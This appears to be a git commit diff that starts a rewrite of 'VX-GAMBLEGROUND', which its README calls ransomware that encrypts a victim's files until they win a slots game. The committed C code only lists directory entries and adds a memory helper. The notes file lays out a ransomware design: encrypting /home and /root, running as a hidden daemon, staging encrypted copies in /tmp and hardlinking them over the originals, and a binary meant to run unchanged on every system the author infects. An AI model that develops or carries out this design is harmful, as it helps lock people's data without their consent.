8 files changed, 132 insertions, 5 deletions

diff --git a/.gitignore b/.gitignore
index 2964c9d..d94e90f 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,3 +1,5 @@
 main
 a.out
-bin/
\ No newline at end of file
+bin/
+*.o
+*test*
\ No newline at end of file
diff --git a/.vscode/c_cpp_properties.json b/.vscode/c_cpp_properties.json
new file mode 100644
index 0000000..b88b548
--- /dev/null
+++ b/.vscode/c_cpp_properties.json
@@ -0,0 +1,16 @@
+{
+    "configurations": [
+        {
+            "name": "Linux",
+            "includePath": [
+                "${workspaceFolder}/**"
+            ],
+            "defines": [],
+            "compilerPath": "/usr/bin/gcc",
+            "cStandard": "gnu23",
+            "cppStandard": "gnu++17",
+            "intelliSenseMode": "linux-gcc-x64"
+        }
+    ],
+    "version": 4
+}
\ No newline at end of file
diff --git a/README.md b/README.md
index e69de29..fc064af 100644
--- a/README.md
+++ b/README.md
@@ -0,0 +1,5 @@
+# VXGG REWRITE
+
+## The first attempt was shit, so I did it again
+
+VX-GAMBLEGROUND, aka VGXX, is a piece of "funware" I wrote. It's ransomware with a twist: it's not meant to completley fuck your system, just temporarily encrypt your stuff until you win a game of slots. The end product, although working, was not great. Because I have recently found myself with freetime and a new unending boredom, I decided I might as well rewrite this into something I could be slightly more proud of
diff --git a/notes.txt b/notes.txt
new file mode 100644
index 0000000..fb6f283
--- /dev/null
+++ b/notes.txt
@@ -0,0 +1,46 @@
+This is a file of ramblings and notes for what I'm doing
+
+vxgg originally only encrypted the /home directory and its subdirectories. As of now, I believe it should
+also encrypt the /root dir as well. Running as a daemon and setting things up in the background may be
+a good idea as well
+
+vxgg was not atomic in its encryption, in that if the encryption was in progress and interrupted for whatever reason, the original 
+file would be "irrecoverably" (as in vxgg had no error checking and couldn't tell the difference between an encrypted and 
+unencrypted file other than through filename. You could manually unfuck the file yourself if you had the key, but it would be a
+long and tedious process) fucked. I can't possibly make the entire operation of reading and writing to a file atomic, but I can 
+make the action of "encrpytion" atomic; or, at least, I can make the encryption seem atomic through a cheat: hard linking. Turns out
+that you can make a file in /tmp, fill it with a whole bunch of shit, then hardlink it to somewhere else on the drive, and the 
+file's contents will persist after a reboot. The idea here is to open a file in /tmp, write the encrypted contents to it, and then
+hardlink the encrypted file to the same location as the original, and then delete the original. This way, if the process is 
+interrupted, there is no chance of file loss. The hardlink isn't atomic in terms of being uninterruptable and instant, but the
+specific order of "encrypt in tmp, hardlink, delete real file" will, at very least, minimize the chances of irrecoverable data loss.
+I'm trying to encrypt people's drives for fun, not for malicious purposes. The least I can do is make sure I don't lose their data
+
+The only issue I see with hardlinking is that it's possible that, for some reason (linux pedants), the /home and /tmp folders are
+not in the same partition/drive. The simple solution I see for now is creating a hidden, root owned, chmod u=rwx,go= folder in
+/home to store files as they are being encrypted
+
+Nevermind, another problem I see is that permisions and filetypes may be different. Not that I ever tried vxgg on a symlink, but I
+wouldn't be surprised if it worked fine (given that all vxgg does is rewrite the contents of a file), but this solution would break
+those links. If this is a problem, it'll be interesting to see how I should make exact copies of files before encrypting them
+
+I really need to figure out how to determine if a filesystem is a Large File System (LFS) so I can know whether to use the standard
+or 64 bit versions of functions
+
+Ok so supposedly stat and its variants will work with 64 bit systems using LFS fine because of some macro "_FILE_OFFSET_BITS", but
+I'm not certain if I need to figure this out or what. Also, it's a compile-time thing, and preferably I don't need to compile this
+on each system I infect, so I still need something else
+
+mkstemp might be quite a useful function for doing the encrypting thing, but having a template name might be problematic. I may just
+have to rename everything before linking. Maybe linkat() would work
+
+============== LIST OF POTENTIALLY USEFUL GNU C FUNCTIONS ==============
+    scandir()                   - Gets a list of files in a directory: https://www.gnu.org/software/libc/manual/html_node/Scanning-Directory-Content.html
+    link()                      - Hardlinks one file to another location: https://www.gnu.org/software/libc/manual/html_node/Hard-Links.html
+    canonicalize_file_name()    - Get the canonical filename of some path (removes symlinks, /'s, .'s, and ..'s): https://www.gnu.org/software/libc/manual/html_node/Symbolic-Links.html
+    realpath()                  - canonicalize_file_name(), but you can put the result directly into a user-allocated string: ^
+    remove()                    - Deletes a file or directory according to unlink() and rmdir() respectively: https://www.gnu.org/software/libc/manual/html_node/Deleting-Files.html
+    rename()                    - Renames a file or directory, atomically: https://www.gnu.org/software/libc/manual/html_node/Renaming-Files.html
+    All of the file attribute related functions: https://www.gnu.org/software/libc/manual/html_node/File-Attributes.html
+    tmpfile()                   - Creates a temp binary file as if you used fopen: https://www.gnu.org/software/libc/manual/html_node/Temporary-Files.html
+    mkstemp()                   - Creates a temp file using a name template and opens it for you: ^
diff --git a/src/Makefile b/src/Makefile
index f2f4bf7..d3798bb 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -20,7 +20,10 @@ BINARIES := main
 
 all: main
 
-main: main.c
+main: main.o shared.o
 
-clean:
-        rm -rvf $(BINARIES)
\ No newline at end of file
+main.o: main.c shared.h
+shared.o: shared.c shared.h
+
+c clean: # huh, didn't think that would work
+        rm -rvf $(BINARIES) $(wildcard *.o)
\ No newline at end of file
diff --git a/src/main.c b/src/main.c
index f07684d..bf110c2 100644
--- a/src/main.c
+++ b/src/main.c
@@ -1,7 +1,28 @@
+#include "shared.h"
+
+#include <errno.h>
+#include <error.h>
 #include <stdio.h>
 
+#include <fcntl.h>
+#include <dirent.h>
+
+int testfilter(const struct dirent *node) {
+    return 1;
+}
+
 int main() {
-    printf("We do a little trolling it's called we do a little trolling\nGod help us all\n");
+    // Alright, going to start simple. First: scanning for files. I want to do this quickly and in one motion. No reason to do things in O(n2) time if I can do it in O(n)
+
+    int nnodes = -1;
+    struct dirent **nodes = NULL;
+    if((nnodes = scandir(".", &nodes, testfilter, alphasort)) < 0)
+        error(1, errno, "scandir broke");
+
+    for(int i = 0; i < nnodes; i++) {
+        printf("%s\n", nodes[i]->d_name);
+
+    }
 
     return 0;
 }
\ No newline at end of file
diff --git a/src/shared.c b/src/shared.c
new file mode 100644
index 0000000..5e58de0
--- /dev/null
+++ b/src/shared.c
@@ -0,0 +1,20 @@
+#include "shared.h"
+
+#include <stdlib.h>
+#include <errno.h>
+#include <error.h>
+
+void* xcalloc(size_t nmemb, size_t size) {
+    void *mem = calloc(nmemb, size);
+
+    if(mem == NULL) {
+        #if defined ___VXGG___XCALLOC_EXIT_ON_ERROR___ && ___VXGG___XCALLOC_EXIT_ON_ERROR___ > 0
+            error(1, errno, "<xcalloc> Could not allocate memory");
+        #endif
+
+        abort();
+    }
+    
+
+    return mem;
+}
\ No newline at end of file
diff --git a/src/shared.h b/src/shared.h
new file mode 100644
index 0000000..ac214f7
--- /dev/null
+++ b/src/shared.h
@@ -0,0 +1,14 @@
+#ifndef __VXGG_REWRITE___SHARED_H___3880294315821___
+#define __VXGG_REWRITE___SHARED_H___3880294315821___
+
+#include <stddef.h>
+
+// Defines how `xcalloc()` should exit. `___VXGG___XCALLOC_EXIT_ON_ERROR___ > 0` calls `error()`, and thus functions registered with
+// `atexit()` and `on_exit()`. `___VXGG___XCALLOC_EXIT_ON_ERROR___ <= 0` calls `abort()` on error. `xcalloc()` will ALWAYS 'abort',
+// doing otherwise defeats the purpose of the function
+#define ___VXGG___XCALLOC_EXIT_ON_ERROR___ 1
+
+// `calloc()` with error checking. Calls `error()` or `abort()` on error depending on the value of `___VXGG___XCALLOC_EXIT_ON_ERROR___`
+void* xcalloc(size_t nmemb, size_t size);
+
+#endif
\ No newline at end of file